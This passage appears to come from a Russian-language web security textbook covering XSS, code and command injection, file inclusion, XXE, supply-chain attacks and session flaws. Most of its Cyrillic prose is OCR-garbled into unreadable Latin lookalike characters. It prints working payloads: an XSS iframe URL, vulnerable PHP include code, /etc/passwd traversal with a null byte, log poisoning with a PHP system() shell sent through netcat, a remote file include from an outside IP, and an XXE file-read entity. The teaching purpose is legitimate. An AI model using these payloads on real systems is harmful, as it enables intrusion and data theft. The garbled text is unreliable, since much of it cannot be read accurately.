TeJeM JJTaHHbIX. CKa)KeM, B IIOJIE€ UMA TIPU PETUCTPAIUU I10JIb30BATEJIb MOKET BBECTU
He TOJIBKO 6yKBbI, HO U clieliMaJibHbIe CMMBOJIbI, TaK11€ KaK Ne nmm *, XO0Td B UMeHun
He TOJIXKHO OBITh ClIeIIMaJIbHBIX CUMBOJIOB.

3JI0yMBILIIEHHUKI OOBIYHO MCIIOAB3YIOT JavaScript, HO yuuThIBas pasHOOGpasue
HOZIEP/KUBAEMBIX Opay3epOM TEXHOJIOIHIA, BOSMOKHBI 1 IpyTrre BapraHTbl. CaMbIMu
YACTBIMU I[EJISIMU TAKOTO TUIIA aTaK SIBJSIOTCS: Kpaka cookie-caiina mosp3oBareis,
B3aMMOJIENICTBIE C TIEPeIaBaeMOli BO BpeMsi cecCcry MH(pOPMaIlnei, mepeHarpaBjieHme
110J1b30BaTeJIs Ha APYTOil cailT.

Cy1ecTBYIOT TPU OCHOBHBIX THTIA XSS-aTak:

o Reflected XSS (orpakeHHblit). 370yMBIIUIEHHUK BHEAPSAET BPEIOHOCHBI KOJI
B ccbuiky (URL). Korma sxepTBa 1mepexouT 1o CChlIKe WM OTIIPaBisieT hop-
MY, BPEJIOHOCHDII KOl BBITIOJIHsIeTCs B ee Opaysepe. Takoil T ataku 0ObIYHO
TpebyeT, 4TOOBI 3JI0YMBIIIEHHUK YOEIUIT JKEPTBY MEPEUTH TI0 CIEIHATBHO IO/
TOTOBJIEHHOM CCBLIKE.

e Stored XSS (XpaHUMBI, TOCTOSHHBIN). B 9TOM ci1ydae 3/10yMBIIIJIEHHUK COXPa-
HSET BPEJIOHOCHBIN KOl Ha BeO-caiite, 1 OH Gy/IeT 3arpysKaThCst U BBITIOTHSITHCSI
HA CTOPOHE KJIMEHTA KaX/Iblil pa3, KOT/A M0JIb30BaTeNU IPOCMATPUBAIOT COOT-
BETCTBYIOIILYIO CTPAHUILY. TUITHYHbIE MECTA, T/Ie MOKET XPAHUTHCST BPEIOHOCHBII
KOJI: KOMMEHTapUu, cOO0IIeHUsT Ha hopyMe, MyOauKaiui B 6Jiore.

e DOM-based XSS (ocuosannsbiii Ha Document Object Model). BpexonocHbrii
KO/l BHEPSIETCS W BBITIOJNHAETCSA B pesyabrare 06pabotku DOM-cTpyKTypbl
BeO-CTPaHUIB Ha CTOPOHE KJIMEHTa 6e3 IPSAMOTo B3aMMOJIEHCTBUS C CEPBEPOM.
3JI0yMBITIJIEHHUK UCTIOJIB3YET YSA3BUMOCTH B KoJle JavaScript, 4ToObI MAaHUITY -
poBaTh JaHHBIMU 1 M3MeHATh DOM, 4TO MPUBOANT K BBITOJHEHUIO BPEOHOCHOTO
Kozia B Gpaysepe KepTBbL.

Jlist ieMOHCTpaIuu JaAHHOTO MeTo/a monpodbyeMm moauduiuposarth URL moncka
Juice Shop. TTyctb OH Oy€eT BBITJISIIETD TaK:

http://kali:42000/#/search?q=<iframe%20src%3D"javascript:alert(%60xss%60)">

B pesyibraTe nepexozia 1mo TaKoil CChIIKE MbI TIOJTyurM coobterne xss (puc. 7.13).
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MHbekumnsa Kkoaa

Nubexius koga (Code Injection) — TuIl aTaku, IPU KOTOPOM 3JI0YMbIIILIEHHIK
BHEJIPSIET B TIPUJIOKEHNE BPEIOHOCHBII KOJI, BBITTOJHSIONIUIICS 3aT€M B KOHTEKCTE
MPUJIOKEHMS UK cepBepa. [IprMepsr aTak ¢ MCIIOIB30BAaHUEM UHBEKITNN KOJIA:

e VnanenHoe soinosHerne koga (Remote Code Execution, RCE). Stor Tum ataku
MO3BOJISIET 3JI0YMBIIIJICHHUKY Y/IaJIeHHO BBIITOJHATD IIPOU3BOJIBHBIN KO/ Ha 1ie-
JIEBOM CepBEpE, OOBIUHO YePe3 YA3SBUMOCTHU B BEO-TIPUIIOKEHUHT VI €T0 CIYKOAX.
ATakyomuil MOXKET MMOJIYYUTh IMOJHbI KOHTPOJIb HAJl CACTEMON, YCTAHOBUTH
BpenorocHoe 11O, BBIKpacTh aHHbBIE U BBITIOJHUTD JIPYTHE ACHCTBUA.

e Brkuouenue yokasbhbix daitiios (Local File Inclusion, LFT). B ganHoM ciryuae
3JIOYMBIIIJIEHHUK UCIIOIb3YET YSI3BUMOCTHU B TIPUJIOSKEHIH [T BHEIPEHUST U BBI-
MOJIHEHUsT JIOKATbHBIX (hailioB Ha cepBepe. DTO MOXKET ITO3BOJIUTh ATAKYIOIEMY
YUTATh KOHPUIEHIMATbHbIE (DAIBI, TOTYyYaTh OCTYI K IAHHBIM VN BBITOJIHITD
KOJT Ha cepBepe. Hamprmep, ecim mpIiIoskeHe HePaBUIbHO 00pabaThIBAET BBOJT
TIOJTb30BATEJTS TIPH 3arpyske (afisia, 3TTOYMBIIIEHHUK MOKET 3aCTaBUTH CepBep
3arpy3uTh U BBITIOJTHUTD (Al ¢ BpEZOHOCHBIM KO/IOM.

e Uubekuus cepepubix mabaonos (Server-Side Template Injection, SSTI). Tum
aTaKu, B KOTOPOM 3JIOYMBIIILIEHHUK BHEAPSIET BPEJOHOCHBINA KO B MaGJOHBI
cepBepa, UCTIOIb3yeMBbIe /715 TeHeparui BeG-cTpanutl. Eci cepsep He birbrpyer
WJTH He TTPOBEPSIET TOIH30BATENHCKIUH BBOJ TTepelt 06paboTKOI MabI0Ho0B, 310~
YMBITIEHHAK MOKET BHEAPUTD KOJI, KOTOPBIH 3aTeM Oy/IeT BBIMOIHEH HA CEPBEPE,
U TTOJIYYUTh TOCTYII K CUCTEMHBIM PeCypCaM.
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MHbekunsa KoMaHAa

Nubekis komana (Command Injection) — Tuit ataku, IpU KOTOPOM 3JI0YMBITILTICH-
HUK BHEJPeT U BbIIOJHSET IIPOM3BOJIbHbIE KOMAH/[bl Ha OllePallMOHHON cucTeMe
depes ysI3BuMoe BebG-mpritoxkeHue. [IpruMepsl aTak ¢ UCOMb30BAHUEM UHBEKITUH
KOMaH/I:

e Ucnoab3oBaHue HeGE30MACHBIX BBI30OBOB CUCTEMHBIX GyHKINit. Ecin Beb-
MPUIIOKEHTE HETPABUILHO 00pabaThIBaeT MOJIb30BATETbCKUI BBOJ U TIEPEIAET
€ro CUCTEMHBIM (QYHKIUAM 6e3 MPOBEPKU WIIH OTACTCHUsST KOH(DUACHITMATBHOT
nHOOPMAINH, 3JI0YMbBIIIJICHHIK MOKET BHEJIPUTH KOMAH/IbI, KOTOPbIE OyIyT
BBITIOJTHEHb! Ha cepBepe. Hanpumep, atakyiolnii MoxKeT BOCIIOJIb30BaThCs ysi3-
BUMOCTBIO B BbI30Be (hyHKIMK exec() B PHP g BoiltosiHEHUS TIPOU3BOTIHHBIX
KOMaH/l Ha cepBsepe.

o Uwubekiusa komany yepe3d mapamerpbl URL. 3710yMBIIIIEHHUK MOXKET UCITOIb-
30BaTh yA3BUMOCTU B 00paboTke napamerpos URL BeG-IpuIoKeHus s BHe-
JPEHUs KOMaH/[, KOTOPble 3aTeM Oy/IyT BBIIIOJHEHDI Ha cepBepe. Hampumep,
ATaKYIOIUN MOXKET BOCIIOJIb30BATHCS HEMPABUIIbHOM 06pabOTKOI mapamerpa
ping B CKPUIITE, UCIOJb3YEMOM JIJISI TPOBEPKU JIOCTYMHOCTHU YAAJIEHHOTO XOCTa,
U BHEJIPUTD JIOTOJTHUTETBHBIE KOMAH/IBI, KOTOPbIE GY/IyT BHITIOJHEHDI Ha CEPBEPE.

o IUnupekuus komanj yepes 3arojaosku HTTP. Be6-npuiioskenusi, KoTopbie Helpa-
BUJIbHO OOpabatbiBatoT Bxostirie 3aroiopku HTTP (Hanpumep, User-Agent
Referer), Takske MOTYT OBITh YSI3BUMBI JIJIST aTaK HHBEKIMH KOMAH/[. 3JI0YMBIIII-
JIEHHUK MOJKET BHEZIPUTD TIPOU3BOJIbHBIe KoMaH/Ib! B 3arosioBkax HT TP, kotopere
3aTeM Gy/IyT BBITTOJHEHDI Ha cepBepe Tpr 06paboTKe 3ampoca.

BkntoueHne nokanbHbIX UK yaaneHHbIX dhanoB

M3-3a m10x0 HanmrcanHoro koga PHP 1 HekoppeKTHO CKOH(DUTYPUPOBAHHOTO BEO-
cepBepa y 3JIOYMBITIIJICHHUKA YacTO MOSIBJASETCS BOBMOKHOCTD BKIIOUNTD JTAHHBIE
13 JIOKAJIbHOTO WJTM HAXOJSAIIErOCsT Ha YAaJIeHHOM cepBepe (haiijia B MCIIOJTHIEMbII
PHP-xox.

Hanmydmnmm BapuaHTOM [T aTaKyIOIeTo OKa3bIBaeTcs Caydal, KoTaa cucTeMa
MO3BOJIsTET OPATh TAHHBIE U3 TOKATHHOTO (haiiia, — 9TO 3HAYNT, UTO 327294 B3TOMA
cepBepa CTAHOBUTCS TPUBUAIBHON M JIETKO pentaeMoii.

[TocmoTpuM cHavasa, Kak Bce paboraer Ha cTOpoHe cepsepa. [Ipeanonoxum, 4To
Ha caiiTe ecTb BO3MOKHOCTb MEHSITh 1IBETOBYIO HAJIUTPY. st 3TOTO TPOrpaMMuCT
Harmcas caeyfoninii Ko

<?php
if ( isset( $_GET['COLOR'] ) ) {
include( $_GET['COLOR'] . '.php' ); } 2>

<form method="get">
<select name="COLOR">
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<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>

O6paTI/ITe BHUMaHUWE, YTO BBE/ICHHbIC /ITaHHbIE HUKAK HE ITPOBEPAIOTCA. WNamenenns
IIPOUCXOIAT Cpa3y K€, KaK TOJIbKO I10JIb30BaTEJIb BbI6epeT IIBET.

Terneps, ecaiut Mbl IPaBUIIBHO CHOPMHPYEM 3a1IPOC, TO HA CEPBEPE I10]1 YIIPaBJIeHNEM
OC Linux cMO’keM HOJTY9IUTD XeIH HapoJietl.

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
bob:x:500:500:bob:/home/bob:/bin/bash
alice:x:501:501::/home/alice:/bin/bash

Ho unorza Takoil MeTos MoskeT He cpaborarb. Ecii Bbl BHUMATEJIbHO YATAINA KO,
IPUBE/IEHHBII BBIIIE, TO MOTJIM 3aMETUTD: CEPBEP JK/ET, 4TO Ha BXoje Oyzaer (dailin
¢ pacmmpennem php. CregoBaTenbHo, HALT 3aIIPOC HEMHOTO TPEOOPABUTCSL:

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd.php

A 9T0 3HAYNT, Y4TO TIOMBITKA OKAIKETCSA HEYAAUHOM, Be/ib B cucteMe HeT daiina passwd.
php. Ecim BB CTONKHYINCH ¢ TAaKOI CUTyaluei, To IIpobaeMy MOKHO PEIIUTb, 10~
6aBUB B KOHIIE CTPOKH %00:

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd%00

OnmHako He BceT/ia MOXKHO Cpa3y TMOMYIUTh Xelu maposeit. [Tompobyem moaydnThb
JIOCTYII K KOMaH/IHOI CTpOKe cepBepa. Mbl cpasy e CTaJIKUBaeMcs Co ciepylolieil
npobIeMoil — Ha cepBep He 3arpyskeH (aiisr ¢ HyKHBIM KOJOM.

WuTepecHo To, 4TO Mbl MOKEM 3aCTABUTh CEPBEP 3aIUCATH HAII KO/ B OJIUH U3 CBOUX
JIOKAJTBHBIX (DAIIIOB, a 3aT€M MBI TPOCTO C(hOPMUPYEM HY;KHBIN 3aITPOC.

Wcnonb3ys netcat, MOAKIIOUNMCS K YAAJEHHOMY CEPBEPY M B Ka4eCTBE 3a1poca
OTIIPaBUM HATIMCAHHBIN 3apaHee ko, Koneuno, ceccus sagepuiurest onmmmbKoil, Beib
cepBep He CMOKeT 00paboTaTh HAII 3AIIPOC, OTHAKO 1 3a1TPOC U coobIeHne 00 omub-
Ke OYIIyT COXpaHeHbI B JIOT-(haiisl. Mbl 3HaEM €r0 TOYHOE MECTOPACIIOIOKEHNUE, a 9TO
3HAUMUT, UTO BCE COMAEPKUMOE JIor-(hailia, B TOM YHCJIe U HAlll Kojl, Oy/IeT BKIOYEHO
B HCTIOJTHSIEMBIN (hailyT ¥ BBITTOJHEHO.

root@kali:~# nc localhost 80
GET /<?php systen($_GET['cmd']); 2>
HTTP/1.1 404 Not Found
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Date: Mon, 02 Jan 2023 16:35:31 GMT

Server: Apache/2.4.7 (Ubuntu)

Content-Length: 276 Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>404 Not Found</title>

</head><body>

<h1l>Not Found</hl>

<p>The requested URL was not found on this server.</p>
<hr>

<address>Apache/2.4.7 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

Best urdopmariust o IaHHON ceccru, BKIIOUast 3a1poc, Gbliia cOXpaHeHa B Jior-(aiiie
/var/log/apache2/access.log. CchopmrpoBaB TpaBUIBHBIN 3aTTPOC, MBI CMOKEM BBITIOJ-
HATH KOMaH/Ibl Ha cepBepe, HanpuMmep ifconfig:

http://dummyhost.net/preview.php&cmd=ifconfig&?file=../../../../.. /.. /.. [..[../
var/log/apache2/access.log%00

3ajiaua CTAaHOBUTCS COBCEM TIPOCTOI, KOT/IA €CTh BO3MOKHOCTb 3arPY3UTh YIAT€HHbII
aiis. Harpumep, cospaaum Ha cepsepe ¢ IP-agpecom 123.45.250.18 aiin test.txt.
CcblKa 1711 ySI3BUMOTO cepBepa Oy/IeT BBITJISIIETD CIEAYIONIUM 00Pa3oM:

http://dummyhost.net/preview.php?COLOR=http://123.45.250.18/test.txt%00

Hebe3onacHbI An3amnH

Heb6esomacubiii ausaiin (Insecure Design) — TuIl ysI3BUMOCTH BeO-IIPUJIOKEHUII,
CBSI3AHHBIN C HEPABUILHBIM UJIM HEJIOCTATOUHBIM YYETOM aCTIEKTOB GE30MacHOCTH
Ha 9Tare ux MpOoeKTUPOBaH¥st U pazpaborku. HebGezomacHbIil AU3aiiH TPUBONT K CO3-
JIAHUIO YSI3BUMBIX CHCTEM, KOTOPbIE MOTYT ObITh ATAKOBAHBI U TIPOIKCILIYaTHPOBAHBI
3JI0yMBITIJIEHHUKAMU.

OcHoBHbIE IIPUYHBI BOSHUKHOBEHUA yHSBI/IMOCTef/i n3-3a HeOEe30MacHOTo 111/13a171Ha:

e Henocratounoe mranupoBanme n ananns 6ezomactoct. IIpoektrposariie 6e30-
MTACHOTO MPUIOKEHHS TPEOYET TPAMOTHOTO ydeTa BCEX acleKTOB He30MacHOCTH
Ha Bcex aTtamax pazpaborku. Ecin pa3paboTunku U apXUTEKTOPbI HE YAECISIOT
JOJIZKHOTO BHUMAHUST Ge301IACHOCTH U He IPOBOJISIT AaHAJIU3 PUCKOB, TPUJIOKEHUE
MOJKET COJIEPKATh CePbe3HbIE YA3BUMOCTH.

o HemnpaBuiabHOe MCTIOJB30BaHNE WJIH KOH(MUTYpaIUs KOMIIOHEHTOB. B ciyuae
HEIPaBUJIbHOIO UCIIOJb30BaHNA UM KOH(MUTYpALUU CTOPOHHUX KOMIIOHEHTOB,
6ubarorek u hpeHMBOPKOB 3JIOYMBIINJICHHIK MOXKET MOJYYUTh JOCTYI K KOH-
bunenmaTHHBIM TAHHBIM.

o OtcyrcTBre WK caabble MEXaHU3MbI Ay TEHTH(GUKAINY 1 aBTopusanuu. [1o-
3BOJISIOT 3JI0YMBITIIEHHIKAM TTOTYYUTH OCTYT K KOHQUACHITNAIBHON THOP-
MaIl¥ WJIH YIIPABJISATH MPUJIOKEHNEM Oe3 T0JIKHBIX TIPUBHIJIET T
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e HenpaBusbHoe ylpaBieHue ceccusMu u uaeHtTudukaropamu ceccuit. Mosxxer
IIPUBECTU K TAKUM YS3BUMOCTAM, KaK (DUKCAIUS CecCur WU ee IiepexBar, KoTo-
pBbIe [TO3BOJIAIOT 3JI0YMBIIIJIEHHUKAM KPacTh JIaHHbIE TI0JIb30BaTes el WK MoJTy-
YaTb JIOCTYII K TPUIIOKEHUIO.

Hebe3onacHasi KOHUrypauus

Heb6esonacuas kondurypanus (Insecure Configuration) — Tum ysassuMocTs Be6-
NPUJIOKEHUH, CBA3aHHbII ¢ HeIIPaBUJIbHOI MU HeOe30IacHON HACTPOMKOIL 1Ipu-
JIOKEHSI, cepBepa, Oa3bl JAHHBIX WK IPYTUX KOMIOHEHTOB HHGPacTpyKTyphl. Bee
HTO MOJKET MPUBECTU K CO3[MAHUIO0 CUCTEMBI, KOTOPast Oy/IeT YCIIENIHO aTaKOBaHa
37I0yYMBITTIJIEHHUKAMU.

HeKOTOpre IIPUMEPDLI TOI'O, YTO MOJKET IIPUBECTHU K B3JIOMY CUCTEMBI:

e lcrnonb3oBanue CTaHAAPTHDBIX YUYETHBIX /JAHHBIX. MHuorue cucTeMbl 1 KOMITOHEH-
TBI ITOCTABJIAIOTCA C TIPEAYCTAHOBJICHHBIMU YYETHBIMU JaHHBIMU a/IMUHUCTPA~
TOpa (I/IMH IIOJIb30BaTEJIA 1 HapO]Ib). Ecom onu ne nsmenensl Ha Ge3omacHble
1 YHUKaJIbHbIC 3HAYCHU A, 3JIOYMbIIIVICHHUKU MOT'YT ITOJIYYUTD JIOCTYII K CUCTEME
C IIpaBaM¥1 a/IMUHHUCTPaTOpPA.

o OrTkJjioueHne WK HellpaBuIbHasd HACTPOiiKa MexaHu3MoB OesonacHoctu. He-
KOTOPbIE BasKHbIe MeXaHU3MbI GesonacHoct, Takue kak HTTPS, gaiiepsot win
SeLinux, MoryT GbITh OTKJIIOUEHBI MU HENPABUJIBHO HACTPOEHBI, 4TO MPUBO-
muT K yazsumoctsiM. Hanpumep, ecoim HTTPS e nactpoen wim ucrnosb3yercst
cnabpiii mudp, 3I0yMbIILIEHHUKA MOTYT [I€PEXBAThIBATh U M3MEHSITh JaHHbIE,
repe/iaBaeMble MeK/Ty TOJIb30BaTENIEM U CEPBEPOM.

e OTKpBITBIE TTIOPTHI U cJIysKObI. Ecsiu cepBep HACTPOEH TaKUM 06Pa3oM, U4TO He-
HY’KHbIE TOPTHI U CJTY5KObI OCTAIOTCS OTKPBITBIMHE, 5TO MOKET CO3aTh MOTEHIH-
aJIbHBIE TOUKU BXOZA JIJIS 3JI0YMbIIUIEHHUKOB. Bee HeHy KHbIe CIIysKObI U IIOPTHI
JIOJKHBI OBITh 3aKPBITBI UJIM OTPAHIMYEHBI IOCTYIIOM TOJBKO JIJIsS aBTOPU30BAHHBIX
IIOJIb30BaTe e,

OpnHNUM U3 caeIcTBUN HeGe30MmacHO KOH(DUTYpaIlUH SIBJISIETCSI BO3MOKHOCTD IIPO-
Begenns XXE-araku. Ataka XML External Entity (XXE) csizana ¢ 06paboTKoi
XML-10KkyMeHTOB. 3JI0YMBIIIIJIEHHUK BHE/IPSIET BPEJAOHOCHDIE BHEIIHNE CYIIIHOCTU
XML (cepLiku Ha BHENIHUE PECYPChl) B 1oKyMeHT X ML, KoTopbiii o6pabaThiBaeTcs
ys3BUMbIM ntapcepoM XML Ha cTopone cepsepa nin kiauenTa. [leabio ataku XXE
SBJISETCST YTEHUE JIOKAJTBHBIX (haliJIoB Ha cepBepe, BBITTOJTHEHHE 3aIPOCOB K BHY-
TPEHHUM CUCTEeMaM WUJIM BBITIOJIHEHNE Y/aleHHbIX BhI30BOB Kozia (RCE).

Hwuxe npuBoguTest npumep takoro XM L-cdaitna:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
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B atom nipumepe 3moymbIieHHUK co3aeT XM L-okymeHT ¢ onpesiesieHneM BHeTI -
Heii CyHIHOCTH (XXe), KOTopasl CChLIAETCs Ha JIOKanbHbIi daili (/etc/passwd) Ha
cepsepe. Korza ysisBuMblil mapcep o6pabaTbiBaeT aTOT JOKYMEHT, OH 3arPysKaeT
U BO3BpalllaeT cojiepskumoe daiiya /etc/passwd, 4To MO3BOISAET 3JI0YMBIIIJICHHUKY
MOJIYYUTD IOCTYII K 4YBCTBUTEIBHON MH(MOPMAIUN.

YA3BMMble U YCTapeBLUNE KOMMOHEHTHI

Tun aroii ysssumoctt OWASP (Vulnerable and Outdated Components) cesizan
C UCII0JIb30BAHKEM KOMIIOHEHTOB C M3BECTHBIMU YSI3BUMOCTSMU B BEG-IIPUIOKEHHSIX.
B coBpeMeHnHbIX BEO-TIPIIOKEHMSX YACTO MCIIOIb3YIOTCS CTOPOHHIE KOMIIOHEHTBI —
6nbAMOTEKY, TIATUHBL U (PPEHMBOPKH, KOTOPBIE MOTYT COAEPKATh YSI3BUMOCTH.
Ec/ 5T KOMIIOHEHTBI He OOHOBJIAIOTCS 10 ITOCIEAHUX Oe30IIaCHbIX BEPCUI, 3/10-
YMBIIILJIEHHUKI MOTYT HCIIOJIb30BATh X YS3BUMOCTH JJIsI aTAKK Ha BeO-TIPUIOKEHNE.

XoTenoch ObI IOCOBETOBATH A€PpKaTb PYKY Ha ITyJIbCE U BCEr/ia OOHOBJIATH CBOU
CHUCTEMDbI, OJHAKO HE CTOUT 3a0BIBATh O CBA3AHHBIX C 9TUM puUcCKax. O[[I/IH n3 HUuX —
aTaKa Ha IEIIOYKY ITOCTaBOK.

Araka Ha 1errouky moctaBok (Supply Chain Attack) — Buj ataku, B pesyJbrare
KOTOPOH 3II0YMBITITEHHIK KOMITPOMETHPYET CHCTEMY, B3JIAMBIBAs BMECTO TIEJIEBOT
OPraHU3aIUK OTHOTO M3 TIOCTABIIUKOB, CBA3aHHBIX ¢ Hell. [[esTbio Takux atax SBisieT-
¢l TIOJTyYeHre IOCTYTIA K UyBCTBUTENbHOI MH(POPMAIIUH, UCTIOTHEHNE BPEJOHOCHOTO
KOJIa WJIU HapyIIIeHUE JOBEPHUST MEK/LY OPTAaHU3AI[USIMU U UX MTOCTABIIMKAMHU.

ATaky Ha 11eMOYKY II0CTABOK MOTYT IIPOSIBJIATHCS B PA3JIUUHbIX (hOpMax:

® 3JIOYMBIIJIEHHUKY MOTYT BHEJIPUTD BPEJIOHOCHBIN KOJI B cTopoHHee [10, koTopoe
3areM (HAMpUMeD, IPU OYePeTHOM OOHOBJICHUN ) YCTaHABJINBAETCS HA CUCTEMBI
1[eJIeBOY OPTaHW3aINy; B Pe3yJIbTaTe aTaky ol ToIydyaeT BO3MOKHOCTh KOH-
TPOJUPOBATD 3apaskeHHbIe CUCTEMbI WJIM COOMPATh YYBCTBUTEIbHBIE JAHHbIE;

® XaKepsl MOTYT aTaKOBATh OOJAYHLIE CEPBUCHI, MCTOIb3yEMbIe OPTaHM3aIel,
U TIOJTy4aTh JOCTYI K XPAHSAIIUMCS B 0OJIaKe JJAHHBIM WM MAHUITYJIUPOBATH 06~
JIAYHBIMU pecypcamy;

® aTakyloNiue TakyKe MOTYT BHEJAPUTDh BPEJOHOCHBIN KOJ UJIH arfiapaTHbIe «3a-
KJIaJIKU» B 000pyZ0BaHKe, KOTOPOE 3aTeM I0TIa[aeT B 11eJIeBYIO OPraHU3aInIo.

O/uH 13 HelaBHUX W U3BECTHBIX TIPUMEPOB aTaKu Ha IEeNOYKY MOCTaBOK — Harla-
neHue Ha komnauuio SolarWinds B korite 2020 roga. B xo/1e aTol aTaku 3710yMBbIILI-
JIEHHUKU BHEAPUJIU BPEIOHOCHBIN KO/ B OOHOBJIEHHE IIPOrPAMMHOI0 00€eCIIeueH sI
Orion, MpoyKTa /711 MOHUTOPWHTA U yripasiaeHust U T-undpactpykTypoit, paspa-
6orannoro kommanueil SolarWinds.

ATakyronie CMOTJIM 3apasiTh MPOAYKT KOMIAHUU CKPBITOI Jiazeiikoii (69Kk10pom)
SUNBURST. 370 1103B0MI0 UM TIOJTYYUTh HECAHKITMOHUPOBAHHBIH JIOCTYT K CETSIM
OpraHu3aIuil, KOTOPbIE UCIIOIb30BATH 3apaskeHHble Bepcuu Orion. Ataka 3aTpoHyJia
ThICsTur KneHToB SolarWinds, Brimouast kommanuu us crivcka Fortune 500 u gpyrue
OpraHU3aINH 110 BCEMY MUDY.
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[Tocsre mosmyyennst ocTyna K CEeTSIM 3JI0YMBIIIJIEHHUKN CMOTJIH TTePeMeniaThCs
BHYTPU HH(DPACTPYKTYPHI, COOUPATH KOHPUAEHITMATBHYIO HH(MOPMAIHIO 1 OCYIIEeCT-
BJISITE ipyrue AeiictBus. Ataka Ha SolarWinds crasma ofHUM U3 caMbIX MAaCIITAOHbBIX
U CEpPhE3HBIX HHITUECHTOR B 00J1aCTH KNOepOE30TIacHOCTH, WILTIOCTPUPYIONTUX PUCKH,
CBsI3aHHDBIE C aTaKaMU Ha I1EeMIOYKY ITOCTABOK.

C6on naeHTuduKauum n ayTeHTUdUKauum

Iror tun yszsumocreit OWASP (Identification and Authentication Failures) cBsi-
3aH C HEPAaBWJIBHON MJIM HEHAJIESKHOU peasn3arieil poIeccoB uaeHTU(hOUKAIINN
U ayTeHTU(UKAIIMK 0JIb30BaTeIell B BeO-IPUIOKEHUAX. EC/IN 37I0yMBIIIEHHUKY
MOTYT OGOUTH 9TH MEXaHU3MBbI, OHH TIOJYYAIOT JOCTYT K UyBCTBUTETBHBIM TAHHBIM
U CUCTEMAaM, ITPeJHA3HAYEHHBIM TOJIBKO JIJIsST aBTOPU30BAHHBIX TI0JTH30BaTE €.

HO[[CTaHOBKa YUETHBIX JaHHbIX — BU/] aTaKH, BO BpEMA KOTOpOﬁ 3JIOYMBITIIJIEHHU KN
NCIOJB3YIOT YKPa/IECHHbIC YUYE€THDIC TaHHDbIC (I/IMH I10JIb30BaTeJIA 1 HapOJIb) JUIA 110~
TIBITOK BXO/la B aKKaYHTbI TTOJIb30BaTe el Ha Pa3JIMYIHBIX calTax u cepBHCaXx. Onn na-
XOAT 9TU JaHHbIE 6J1ar011ap51 yTeuKaM I/IH(bOpMaIII/II/I BCJICACTBUE B3JIOMa PAa3JIMYHbIX
NC. Atakn ocHOBaHBI Ha IIPEATIOJIOKEHNN 3JIOYMbBITIJIEHHUKOB, YTO ITOJIb30BaTEJ/IN
YaCTO HUCIIOJIb3YIOT OJJHN 1 T€ JKe MMapoJin IJisd HECKOJIbKUX aKKaYHTOB M CEPBUCOB.
ATaKyIOH.II/Ie HCIIOJIb3YIOT aBTOMATU3MPOBAHHBIE MHCTPYMEHTDBI 1 CKPUIITBI IJIs
MaCCOBOTO BBO/Ia YUYETHDBIX JaHHDBIX Ha PA3HBIX Be6-CaI>,ITaX, IIbITasACh HOIIO6paTb CO-
YeTaHre MMEHU TT0JIb30BaTEJIA 1 IMTaPOJId, KOTOPOe cpa60TaeT.

Araxu nepebopom (brute-force) — aTo MmeTo B310Ma, 1Py KOTOPOM IIOCJIE0BATEIb-
HO 1IepeOUPAIOTCS BCE BO3MOKHBIE KOMOUHAIIY TIapoJieil u (MJIH ) JIOTHHOB, TIOKA He
HaiiieTcst BepHbIit. Takol THIT aTaKi MOKET ObITh PECYPCOEMKIUM U 3aHUMATh MHOTO
BPEMEHMU, HO B KOHEYHOM CYETE OH JIOBOJHHO YACTO OKA3BIBAETCS YCIEITHBIM, 0CO-
GEHHO TIPU UCTIOTL30BAHU TTOJTH30BATENISIMI CTAOBIX VJTH OOTIEM3BECTHBIX MAPOJIE.

VssBumocTb packpbitust uiaeHTndukaropa ceccun (Session Identifier Exposure) Bos-
HUKaET, KOr/a AeHTU(UKATOP CECCUU TIOIB30BATEIIS CIyYATHO UM HAMEPEHHO Pac-
KPBIBAETCS TPETHUM JUTaM. VIeHTH(hUKATOp cecCui — 9TO YHUKAJIBbHOE 3HAYECHNUE,
KOTOpOE cepBep UCIIOb3YeT /I CBA3U WIeHTU(DUKAIMY KJIUeHTa U [TO/IepKaHIs
COCTOSTHUSI CECCUU. ITO 0COOEHHO BAKHO J7IsT BeO-TIPHIIOKEeHMH. Ecii 3710y MbITeH-
HUK MOJIYYUT JOCTYI K WACHTUPUKATOPY CECCUU, OH MOKET MCIIOIb30BATh €T0 IS
[IOJIy4eHUs JOCTYIIA K 4ysKoi ceccuu (session hijacking) m nepcoHaibHbIM JaHHBIM
MIOJIb30BATEJIST MJIN BBITIOJIHEHUS IEVICTBUI OT €ro UMEHU.

[Tpeamonokum, 4To ecTh BeO-TpUIoKeHue, KoTopoe ucrnoabayer URL-ampeca Buaa
http://example.com/dashboard?sessionid=1234567890abcdef 1151 oTCIEKMBAHMS TOJIb-
30BaTeIbCKUX ceccril. B aTom ciyuae upentudukarop ceccuu (sessionid) mepemaercst
B mapamerpe URL-azpeca. OObIYHO TaKue UAeHTH(DUKATOPBI XPAHATCS B cookie-
(baitax, 0 KOTOPBIX PACCKA3bIBAJIOCH B HAUAJIE TJIABBI.
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Bosmosxubr cjaeaytoume HpO6JIeMbIZ

e URL-aapeca ¢ uieHTH(GUKATOPAMU CECCHI MOTYT OBITh COXPAHEHBI B HCTOPUU
Gpaysepa, Jor-(aiinax cepBepa Wi CTOPOHHUX CHCTEMAX, KOTOPBIE NMEIOT JI0-
ctyn k URL-azpecam (cratnctuyeckne cCUCTeMbl, CHCTEMBI aHAJUTHKU U T. [1.);

® €CJIM ITOJIB30BATE/Ib ITOJICTIUTCA CCBLITKOM C APpyTuMu JIIOAbMU, I/IlIGHTI/I(l)I/IKaTOp
CECCHUU TaKiKe 6leeT Tiepe/iat, 9TO MOJKET MPUBECTU K HECAHKITMOHNUPOBAHHOMY
AOCTYIIY K CECCUM ITOJIb30BATEJIA;

® 3JIOYMBIIIJIEHHUKHW MOT'YT BOCIIOJIb30BATHCA YA3BUMOCTAMM HAa CTOPOHE KJIMEHTa
WJI cepBepa VA IMoJydeHr A JOCTYIIa K I/IJ_IGHTI/I(bI/IKaTOpaM CeCCru U 1nocJjieyto-
